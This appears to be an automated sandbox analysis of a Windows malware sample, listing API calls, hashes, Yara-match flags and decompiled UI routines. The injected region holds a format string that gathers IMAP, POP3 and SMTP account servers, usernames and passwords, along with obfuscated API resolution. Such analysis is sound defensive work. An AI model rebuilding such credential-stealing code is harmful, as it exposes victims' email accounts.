SendMessageA.USER32 ref: 003B821D
SetCursor.USER32(00000000), ref: 003B822F

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: eea3999b51c0dd56725326e3052c3bb1cc5e72940b3e69356a7c42a8909922aa
Instruction ID: 0ae480e109064fb507d0955eb81cb40acbe4a80befa5349870cb309cb53fdd85
Opcode Fuzzy Hash: eea3999b51c0dd56725326e3052c3bb1cc5e72940b3e69356a7c42a8909922aa
Instruction Fuzzy Hash: 5001A2322017006ADA677B741C87FBF25ACDF85B68F1044A9FA04AE683EE268C01D365

Uniqueness

Uniqueness Score: -1.00%

Function 0038B4F0, Relevance: 10.6, APIs: 7, Instructions: 56
filewindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0038B4F0(void* __edx, void* __edi, void* __fp0) {
				void _v1024;
				char _v1088;
				long _v1092;
				void* _t12;
				char* _t14;
				intOrPtr _t16;
				intOrPtr _t18;
				intOrPtr _t24;
				long _t32;

				E0038B368(_t12,  &_v1024, __edx, __fp0, 0x400);
				_t14 =  *0x3da11c; // 0x3db04c
				if( *_t14 == 0) {
					_t16 =  *0x3d9ed8; // 0x386da0
					_t9 = _t16 + 4; // 0xffe9
					_t18 =  *0x3db668; // 0x380000
					LoadStringA(E003851AC(_t18),  *_t9,  &_v1088, 0x40);
					return MessageBoxA(0,  &_v1024,  &_v1088, 0x2010);
				}
				_t24 =  *0x3d9f2c; // 0x3db21c
				E00382834(E0038299C(_t24));
				CharToOemA( &_v1024,  &_v1024);
				_t32 = E0038863C( &_v1024, __edi);
				WriteFile(GetStdHandle(0xfffffff4),  &_v1024, _t32,  &_v1092, 0);
				return WriteFile(GetStdHandle(0xfffffff4), 0x38b5b4, 2,  &_v1092, 0);
			}

0x0038b4ff
0x0038b504
0x0038b50c
0x0038b573
0x0038b578
0x0038b57c
0x0038b587
0x00000000
0x0038b59d
0x0038b50e
0x0038b518
0x0038b527
0x0038b537
0x0038b54a
0x00000000

APIs

Part of subcall function 0038B368: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0038B385
Part of subcall function 0038B368: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0038B3A9
Part of subcall function 0038B368: GetModuleFileNameA.KERNEL32(00380000,?,00000105), ref: 0038B3C4
Part of subcall function 0038B368: LoadStringA.USER32 ref: 0038B45A

CharToOemA.USER32 ref: 0038B527
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0038B544
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?), ref: 0038B54A
GetStdHandle.KERNEL32(000000F4,0038B5B4,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0038B55F
WriteFile.KERNEL32(00000000,000000F4,0038B5B4,00000002,?), ref: 0038B565
LoadStringA.USER32 ref: 0038B587
MessageBoxA.USER32 ref: 0038B59D

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: 5be2b0f2ffdacf753a6b41dd12d9253636e23926ea34cdb0f9165bb2788dcc1c
Instruction ID: a6761d5d59d7933aa9ae896fe8da1dfe8dd659077dc469d61f21663cc40f692b
Opcode Fuzzy Hash: 5be2b0f2ffdacf753a6b41dd12d9253636e23926ea34cdb0f9165bb2788dcc1c
Instruction Fuzzy Hash: 01113CB6104304AED602F7A4DC47F9FBBECAB46700F504596B754DA0E2DB71DA448762

Uniqueness

Uniqueness Score: -1.00%

Function 02350295, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45timeCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 023502A8
CreateWaitableTimerA.KERNEL32(00000000,00000001,?), ref: 023502BA
SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000), ref: 023502E4
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 023502F7
CloseHandle.KERNEL32(?), ref: 02350300

Strings

0x%08X, xrefs: 023502A2

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: TimerWaitable$CloseCreateHandleMultipleObjectsWaitwsprintf
String ID: 0x%08X
API String ID: 603522830-3182613153
Opcode ID: 43c4038d248658f3b3b62317dc0a79ec1611a5d1e46e049c04615057189abf4e
Instruction ID: 01f97fd5e660ad7fb314925440f9763b55c249bb0117661c2df2fdff80198298
Opcode Fuzzy Hash: 43c4038d248658f3b3b62317dc0a79ec1611a5d1e46e049c04615057189abf4e
Instruction Fuzzy Hash: AD015AB1D00129BBDB00AB95DC0EDEFBF7CEF09760F008255E916E2185EB709611CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02354E27, Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 208stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(142A03F6), ref: 02354F3E
lstrlen.KERNEL32(142903F0), ref: 02354F4C

Part of subcall function 023568E0: lstrlen.KERNEL32(?,00000104,?,00000000,02354F24,142D03E9,?), ref: 023568EB
Part of subcall function 023568E0: lstrcpy.KERNEL32(00000000,?), ref: 02356907

Strings

IMAP, xrefs: 02354FE9, 02354FFB
type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S, xrefs: 02354FFC
POP3, xrefs: 02354FE2
SMTP, xrefs: 02354FD4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$lstrcpy
String ID: IMAP$POP3$SMTP$type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S
API String ID: 805584807-1010173016
Opcode ID: 07e375b9a0651ecef8dfd83cb922dd5366d07ac0b663643b2201bbcb7e0bf95d
Instruction ID: 66fd4110a8cf5e1494f1a9546ede948d8de01f56f0b6764dc9c1131804fecf2e
Opcode Fuzzy Hash: 07e375b9a0651ecef8dfd83cb922dd5366d07ac0b663643b2201bbcb7e0bf95d
Instruction Fuzzy Hash: CE71E871900229AFCF25DFA5D844EEFBBB9AF08745F41456AFA09A7100D734DA90CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02357808, Relevance: 9.2, APIs: 6, Instructions: 202synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

GetLastError.KERNEL32(?,?,?,00001000,?,0236726C,766F1136), ref: 02357889
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0235790E
CloseHandle.KERNEL32(00000000), ref: 02357928
OpenProcess.KERNEL32(00100000,00000000,00000000,?,0236726C,766F1136), ref: 0235795D

Part of subcall function 02346F22: RtlReAllocateHeap.NTDLL(00000000,00000000,00000000,023454B7), ref: 02346F32

WaitForSingleObject.KERNEL32(?,00000064), ref: 023579DF
CloseHandle.KERNEL32(F0FFC983), ref: 02357A06

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AllocateCloseHandleHeapObjectSingleWait$ErrorLastOpenProcess
String ID:
API String ID: 3115907006-0
Opcode ID: ba3f76f151ad7ddfc1bd4139ebf1a7bd9c4a49feae981d99e213ad9d03c2c1e3
Instruction ID: 17e37a4c8b08968b461919ba851000712402df583360726780daa248d8a63ce8
Opcode Fuzzy Hash: ba3f76f151ad7ddfc1bd4139ebf1a7bd9c4a49feae981d99e213ad9d03c2c1e3
Instruction Fuzzy Hash: 72813771D00229EFDB11CF94C984AADFBBAFF08744F148499E949AB211D735AA51CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 003B3D04, Relevance: 9.2, APIs: 6, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E003B3D04(intOrPtr* __eax, intOrPtr* __edx) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				struct HDC__* _v16;
				struct tagPAINTSTRUCT _v80;
				struct tagRECT _v96;
				struct tagRECT _v112;
				signed int _v116;
				long _v120;
				void* __ebp;
				void* _t68;
				void* _t94;
				struct HBRUSH__* _t97;
				intOrPtr _t105;
				void* _t118;
				void* _t127;
				intOrPtr _t140;
				intOrPtr _t146;
				void* _t147;
				void* _t148;
				void* _t150;
				void* _t152;
				intOrPtr _t153;

				_t138 = __edx;
				_t150 = _t152;
				_t153 = _t152 + 0xffffff8c;
				_v12 = __edx;
				_v8 = __eax;
				_t68 =  *_v12 - 0xf;
				if(_t68 == 0) {
					_v16 =  *(_v12 + 4);
					if(_v16 == 0) {
						 *(_v12 + 4) = BeginPaint( *(_v8 + 0x254),  &_v80);
					}
					_push(_t150);
					_push(0x3b3ed2);
					_push( *[fs:eax]);
					 *[fs:eax] = _t153;
					if(_v16 == 0) {
						GetWindowRect( *(_v8 + 0x254),  &_v96);
						E003C8214(_v8,  &_v120,  &_v96);
						_v96.left = _v120;
						_v96.top = _v116;
						E003C700C( *(_v12 + 4),  ~(_v96.top),  ~(_v96.left));
					}
					E003CCB6C(_v8, _t127, _v12, _t147, _t148);
					_pop(_t140);
					 *[fs:eax] = _t140;
					_push(0x3b3ee0);
					if(_v16 == 0) {
						return EndPaint( *(_v8 + 0x254),  &_v80);
					}
					return 0;
				} else {
					_t94 = _t68 - 5;
					if(_t94 == 0) {
						_t97 = E003A0118( *((intOrPtr*)(_v8 + 0x170)));
						 *((intOrPtr*)( *_v8 + 0x44))();
						FillRect( *(_v12 + 4),  &_v112, _t97);
						if( *((char*)(_v8 + 0x22f)) == 2 &&  *(_v8 + 0x254) != 0) {
							GetClientRect( *(_v8 + 0x254),  &_v96);
							FillRect( *(_v12 + 4),  &_v96, E003A0118( *((intOrPtr*)(_v8 + 0x170))));
						}
						_t105 = _v12;
						 *((intOrPtr*)(_t105 + 0xc)) = 1;
					} else {
						_t118 = _t94 - 0x2b;
						if(_t118 == 0) {
							E003B3C78(_t150);
							_t105 = _v8;
							if( *((char*)(_t105 + 0x22f)) == 2) {
								if(E003B41A0(_v8) == 0 || E003B3CC4(_t138, _t150) == 0) {
									_t146 = 1;
								} else {
									_t146 = 0;
								}
								_t105 = E003B0FE4( *(_v8 + 0x254), _t146);
							}
						} else {
							if(_t118 != 0x45) {
								_t105 = E003B3C78(_t150);
							} else {
								E003B3C78(_t150);
								_t105 = _v12;
								if( *((intOrPtr*)(_t105 + 0xc)) == 1) {
									_t105 = _v12;
									 *((intOrPtr*)(_t105 + 0xc)) = 0xffffffff;
								}
							}
						}
					}
					return _t105;
				}
			}

0x003b3d04
0x003b3d05
0x003b3d07
0x003b3d0a
0x003b3d0d
0x003b3d15
0x003b3d18
0x003b3e28
0x003b3e2f
0x003b3e47
0x003b3e47
0x003b3e4c
0x003b3e4d
0x003b3e52
0x003b3e55
0x003b3e5c
0x003b3e6c
0x003b3e7a
0x003b3e82
0x003b3e88
0x003b3e9b
0x003b3e9b
0x003b3ea6
0x003b3ead
0x003b3eb0
0x003b3eb3
0x003b3ebc
0x00000000
0x003b3ecc
0x003b3ed1
0x003b3d1e
0x003b3d1e
0x003b3d21
0x003b3d61
0x003b3d6f
0x003b3d7d
0x003b3d8c
0x003b3da8
0x003b3dc7
0x003b3dc7
0x003b3dcc
0x003b3dcf
0x003b3d23
0x003b3d23
0x003b3d26
0x003b3ddc
0x003b3de2
0x003b3dec
0x003b3dfc
0x003b3e0d
0x003b3e09
0x003b3e09
0x003b3e09
0x003b3e18
0x003b3e18
0x003b3d2c
0x003b3d2f
0x003b3eda
0x003b3d35
0x003b3d36
0x003b3d3c
0x003b3d43
0x003b3d49
0x003b3d4c
0x003b3d4c
0x003b3d43
0x003b3d2f
0x003b3d26
0x003b3ee3
0x003b3ee3

APIs

FillRect.USER32(?,?), ref: 003B3D7D
GetClientRect.USER32 ref: 003B3DA8
FillRect.USER32(?,?,00000000), ref: 003B3DC7

Part of subcall function 003B3C78: CallWindowProcA.USER32(?,?,?,?,?), ref: 003B3CB2

BeginPaint.USER32(?,?), ref: 003B3E3F
GetWindowRect.USER32 ref: 003B3E6C
EndPaint.USER32(?,?), ref: 003B3ECC

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Rect$FillPaintWindow$BeginCallClientProc
String ID:
API String ID: 901200654-0
Opcode ID: d70319f6aa1b80c94f7511cb5caa58591ff88623afc9bdad5f8cf4731b3e499b
Instruction ID: 7514b2f0abb1c1d08e15eaa57459775cdf4af9a1e36d6cc7f82f9bb1b929471c
Opcode Fuzzy Hash: d70319f6aa1b80c94f7511cb5caa58591ff88623afc9bdad5f8cf4731b3e499b
Instruction Fuzzy Hash: 49510975A00218EFCB42DBA8C989EDDB7F9EF08314F5181A5E504EB652D735EE44CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0235D26F, Relevance: 9.1, APIs: 6, Instructions: 122threadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,?), ref: 0235D2CA
GetLastError.KERNEL32(?), ref: 0235D2F0
SetEvent.KERNEL32(00000000,?), ref: 0235D303
GetModuleHandleA.KERNEL32(00000000), ref: 0235D34C
memset.NTDLL ref: 0235D361
RtlExitUserThread.NTDLL(?,?), ref: 0235D396

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HandleModule$ErrorEventExitLastThreadUsermemset
String ID:
API String ID: 3978817377-0
Opcode ID: c134a5963206cf091f565304be8c1ab7c81beda972816b122e9f4cc41612c9d8
Instruction ID: 2d011a326c0135564eaec61402e6367d746d0a6bb74581e7a65f1e7c4c2a1507
Opcode Fuzzy Hash: c134a5963206cf091f565304be8c1ab7c81beda972816b122e9f4cc41612c9d8
Instruction Fuzzy Hash: 6B416DB0900618EFCB209FA9D988DAEBBBDFF85715B64495AE80AD3100D771E944CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0234C779, Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b776a4ce38d9a6f7935c4617e00d37d19263f2ca293dd4c57ee693142768e894
Instruction ID: 0ddd92fc34951b1c7c164e4ed0d75998709867536e267811ed7ee1e2f83f6479
Opcode Fuzzy Hash: b776a4ce38d9a6f7935c4617e00d37d19263f2ca293dd4c57ee693142768e894
Instruction Fuzzy Hash: B041DEB1A41701AFD7209F658C89A2BBBEDFB44760F004E6FF5AA82580DB70A804CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02352768, Relevance: 9.1, APIs: 6, Instructions: 91timememoryCOMMON

Download Yara Rule

APIs

OpenWaitableTimerA.KERNEL32(00100002,00000000,?), ref: 02352782
CreateWaitableTimerA.KERNEL32(02367160,00000001,?), ref: 0235279F
GetLastError.KERNEL32(?,00000000,0235162F,00000000,00000000,0000801C,?,?,00000000,?,00000001,?,00000000,?,?,?), ref: 023527B0

Part of subcall function 02353A64: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
Part of subcall function 02353A64: RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
Part of subcall function 02353A64: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
Part of subcall function 02353A64: RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,?,?,00000000,0235162F,00000000,00000000,0000801C), ref: 023527F0
SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0235162F,00000000,00000000,0000801C), ref: 0235280F
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02352825

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: TimerWaitable$HeapQueryTimeValue$AllocateCloseCreateErrorFileFreeLastOpenSystem
String ID:
API String ID: 1835239314-0
Opcode ID: 431bee9226fa341f96f595374c28db30f1054d56ab64c2ee26fd97f0548374c8
Instruction ID: b63055e489243b0b2ad4f98c002c72fa196d58d564fc8ae86b6656f159c47791
Opcode Fuzzy Hash: 431bee9226fa341f96f595374c28db30f1054d56ab64c2ee26fd97f0548374c8
Instruction Fuzzy Hash: 843138B1D00258FBCF20DF99C889DAFBBBDEB94754F108456EC09A2140D738AA54CB60

Uniqueness

Uniqueness Score: -1.00%

Function 003A15D0, Relevance: 9.1, APIs: 6, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E003A15D0(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, signed int* _a4, signed int* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v32;
				struct HDC__* _v44;
				signed int* _t36;
				signed int _t39;
				signed int _t42;
				signed int* _t52;
				signed int _t56;
				intOrPtr _t66;
				void* _t72;
				void* _t73;
				void* _t74;
				intOrPtr _t75;

				_t73 = _t74;
				_t75 = _t74 + 0xffffff90;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_t52 = _a8;
				_v24 = _v16 << 4;
				_v20 = E00387BC4(_v24, __eflags);
				 *[fs:edx] = _t75;
				_t56 = _v24;
				 *((intOrPtr*)( *_v8 + 0xc))( *[fs:edx], 0x3a18c7, _t73, __edi, __esi, __ebx, _t72);
				if(( *_t52 | _t52[1]) != 0) {
					_t36 = _a4;
					 *_t36 =  *_t52;
					_t36[1] = _t52[1];
				} else {
					 *_a4 = GetSystemMetrics(0xb);
					_a4[1] = GetSystemMetrics(0xc);
				}
				_v44 = GetDC(0);
				if(_v44 == 0) {
					E003A0A94(_t56);
				}
				_push(_t73);
				_push(0x3a16b9);
				_push( *[fs:edx]);
				 *[fs:edx] = _t75;
				_t39 = GetDeviceCaps(_v44, 0xe);
				_t42 = _t39 * GetDeviceCaps(_v44, 0xc);
				if(_t42 <= 8) {
					__eflags = 1;
					_v32 = 1 << _t42;
				} else {
					_v32 = 0x7fffffff;
				}
				_pop(_t66);
				 *[fs:eax] = _t66;
				_push(E003A16C0);
				return ReleaseDC(0, _v44);
			}

0x003a15d1
0x003a15d3
0x003a15d9
0x003a15dc
0x003a15df
0x003a15e2
0x003a15eb
0x003a15f6
0x003a1604
0x003a160a
0x003a1612
0x003a161a
0x003a1637
0x003a163c
0x003a1641
0x003a161c
0x003a1626
0x003a1632
0x003a1632
0x003a164b
0x003a1652
0x003a1654
0x003a1654
0x003a165b
0x003a165c
0x003a1661
0x003a1664
0x003a166d
0x003a1683
0x003a1689
0x003a169b
0x003a169d
0x003a168b
0x003a168b
0x003a168b
0x003a16a2
0x003a16a5
0x003a16a8
0x003a16b8

APIs

GetSystemMetrics.USER32 ref: 003A161E
GetSystemMetrics.USER32 ref: 003A162A
GetDC.USER32(00000000), ref: 003A1646
GetDeviceCaps.GDI32(00000000,0000000E), ref: 003A166D
GetDeviceCaps.GDI32(00000000,0000000C), ref: 003A167A
ReleaseDC.USER32(00000000,00000000), ref: 003A16B3

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsDeviceMetricsSystem$Release
String ID:
API String ID: 447804332-0
Opcode ID: 06796b777bab371868cdaff8ed03515b6da37aefa78dd8393226bf707d7abe88
Instruction ID: a79e3bca3cf28e389b1ebc4069eafbff40a77395aa267f24e2a6dc7f1af8b36c
Opcode Fuzzy Hash: 06796b777bab371868cdaff8ed03515b6da37aefa78dd8393226bf707d7abe88
Instruction Fuzzy Hash: 69314174A00304DFDB01EF64C942AAEBBF5FB89710F148565F814EB391D674A940CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0234F83A, Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

GetModuleHandleA.KERNEL32(4C44544E,00000020,00000000,023535AA,?,?,?,?,02347370,?,?,00000000,00000000,00000000), ref: 0234F85F
GetProcAddress.KERNEL32(00000000,7243775A,?,02347370,?,?,00000000,00000000), ref: 0234F881
GetProcAddress.KERNEL32(00000000,614D775A,?,02347370,?,?,00000000,00000000), ref: 0234F897
GetProcAddress.KERNEL32(00000000,6E55775A,?,02347370,?,?,00000000,00000000), ref: 0234F8AD
GetProcAddress.KERNEL32(00000000,4E6C7452,?,02347370,?,?,00000000,00000000), ref: 0234F8C3
GetProcAddress.KERNEL32(00000000,6C43775A,?,02347370,?,?,00000000,00000000), ref: 0234F8D9

Part of subcall function 0235340C: memset.NTDLL ref: 0235348D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: b22b72ebe6bb82e9beeb87c56cb36a3b836ebeecfaf30be0ec168e803a5e1c80
Instruction ID: 5ee066546bf6139fce504aa44c18fab023f38cc7bced4d34311b28fbce265906
Opcode Fuzzy Hash: b22b72ebe6bb82e9beeb87c56cb36a3b836ebeecfaf30be0ec168e803a5e1c80
Instruction Fuzzy Hash: 532160F190024AAFDB10DF69D848E5A77FCEB08388B058465E949D7755DB30FA05CF60

Uniqueness

Uniqueness Score: -1.00%

Function 02350AE6, Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000001,00000000,00000000,00000000,00000000,00000102,?,?,?,00000000,00000000), ref: 02350B25
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02350B36
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,00000001,00000000,?,00000000,00000000), ref: 02350B51
GetLastError.KERNEL32 ref: 02350B67
HeapFree.KERNEL32(00000000,?), ref: 02350B79
HeapFree.KERNEL32(00000000,?), ref: 02350B8E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$ByteCharFreeMultiWide$AllocateErrorLast
String ID:
API String ID: 1822509305-0
Opcode ID: 3c0802b809d9dbecaa5f22cde130d12a7e8b453ec855c192b3a9ac40939b97b8
Instruction ID: bf8a68ecbed2d7137ac5ecd68df636a7102b4775a6e14d8cec9202d686792ba5
Opcode Fuzzy Hash: 3c0802b809d9dbecaa5f22cde130d12a7e8b453ec855c192b3a9ac40939b97b8
Instruction Fuzzy Hash: F2113DB6D41128BBCF215B95DD88CEFBF7EEF497A4F004461F909A1060D7328A61DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003A1A28, Relevance: 9.1, APIs: 6, Instructions: 65
windowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E003A1A28(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, struct HPALETTE__* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				char _v5;
				struct HPALETTE__* _v12;
				struct HDC__* _v16;
				struct tagBITMAPINFO* _t36;
				intOrPtr _t43;
				struct HBITMAP__* _t47;
				void* _t50;

				_t36 = __ecx;
				_t47 = __eax;
				E003A18D8(__eax, _a4, __ecx);
				_v12 = 0;
				_v16 = CreateCompatibleDC(0);
				_push(_t50);
				_push(0x3a1ac5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t50 + 0xfffffff4;
				if(__edx != 0) {
					_v12 = SelectPalette(_v16, __edx, 0);
					RealizePalette(_v16);
				}
				_v5 = GetDIBits(_v16, _t47, 0, _t36->bmiHeader.biHeight, _a8, _t36, 0) != 0;
				_pop(_t43);
				 *[fs:eax] = _t43;
				_push(E003A1ACC);
				if(_v12 != 0) {
					SelectPalette(_v16, _v12, 0);
				}
				return DeleteDC(_v16);
			}

0x003a1a31
0x003a1a35
0x003a1a3e
0x003a1a45
0x003a1a4f
0x003a1a54
0x003a1a55
0x003a1a5a
0x003a1a5d
0x003a1a62
0x003a1a70
0x003a1a77
0x003a1a77
0x003a1a95
0x003a1a9b
0x003a1a9e
0x003a1aa1
0x003a1aaa
0x003a1ab6
0x003a1ab6
0x003a1ac4

APIs

Part of subcall function 003A18D8: GetObjectA.GDI32(?,00000054), ref: 003A18EC

CreateCompatibleDC.GDI32(00000000), ref: 003A1A4A
SelectPalette.GDI32(?,?,00000000), ref: 003A1A6B
RealizePalette.GDI32(?), ref: 003A1A77
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 003A1A8E
SelectPalette.GDI32(?,00000000,00000000), ref: 003A1AB6
DeleteDC.GDI32(?), ref: 003A1ABF

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Palette$Select$BitsCompatibleCreateDeleteObjectRealize
String ID:
API String ID: 1221726059-0
Opcode ID: 7f179c764139cbeb9c168775fc5e98fc545df133096a971326315e14929bb62b
Instruction ID: 776b0f6cdd7b37e973812c4dd42c08a366e54a51f0c0c4e88e7100fec8f85840
Opcode Fuzzy Hash: 7f179c764139cbeb9c168775fc5e98fc545df133096a971326315e14929bb62b
Instruction Fuzzy Hash: AB115175A043047FDB12EBE9CC46F9EB7FCEF49710F5184A4B918EB281D67499008720

Uniqueness

Uniqueness Score: -1.00%

Function 0234CB2C, Relevance: 9.1, APIs: 6, Instructions: 64memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000000,00000000,00000008,?,?,02349CFA,023531E0,00000000,?,?,?,?,02342100,?,?), ref: 0234CB42
RtlAllocateHeap.NTDLL(00000000,00000009,00000000), ref: 0234CB55
lstrcpy.KERNEL32(00000008,?), ref: 0234CB77
GetLastError.KERNEL32(02348049,00000000,00000000,?,?,02349CFA,023531E0,00000000,?,?,?,?,02342100,?,?), ref: 0234CBA0
HeapFree.KERNEL32(00000000,00000000), ref: 0234CBB8
CloseHandle.KERNEL32(00000000), ref: 0234CBC1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateCloseErrorFreeHandleLastlstrcpylstrlen
String ID:
API String ID: 2860611006-0
Opcode ID: 349d03f5a920f7791fb16c0b398451b4ae69c9042b18f20e8a1144279e706547
Instruction ID: e8363b533cbf2a5e4bce1856b0b4e573ad678ba18bf039dd5bf842963cce188d
Opcode Fuzzy Hash: 349d03f5a920f7791fb16c0b398451b4ae69c9042b18f20e8a1144279e706547
Instruction Fuzzy Hash: 19114FB1941205EFDB109F68DC899AABBACFB05364B008DAAF456C3250DB30AD25CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02355708, Relevance: 9.1, APIs: 6, Instructions: 64libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

LoadLibraryA.KERNEL32(6676736D), ref: 02355728
GetProcAddress.KERNEL32(00000000,704F4349), ref: 02355747
GetProcAddress.KERNEL32(00000000,6C434349), ref: 0235575C
GetProcAddress.KERNEL32(00000000,6E494349), ref: 02355772
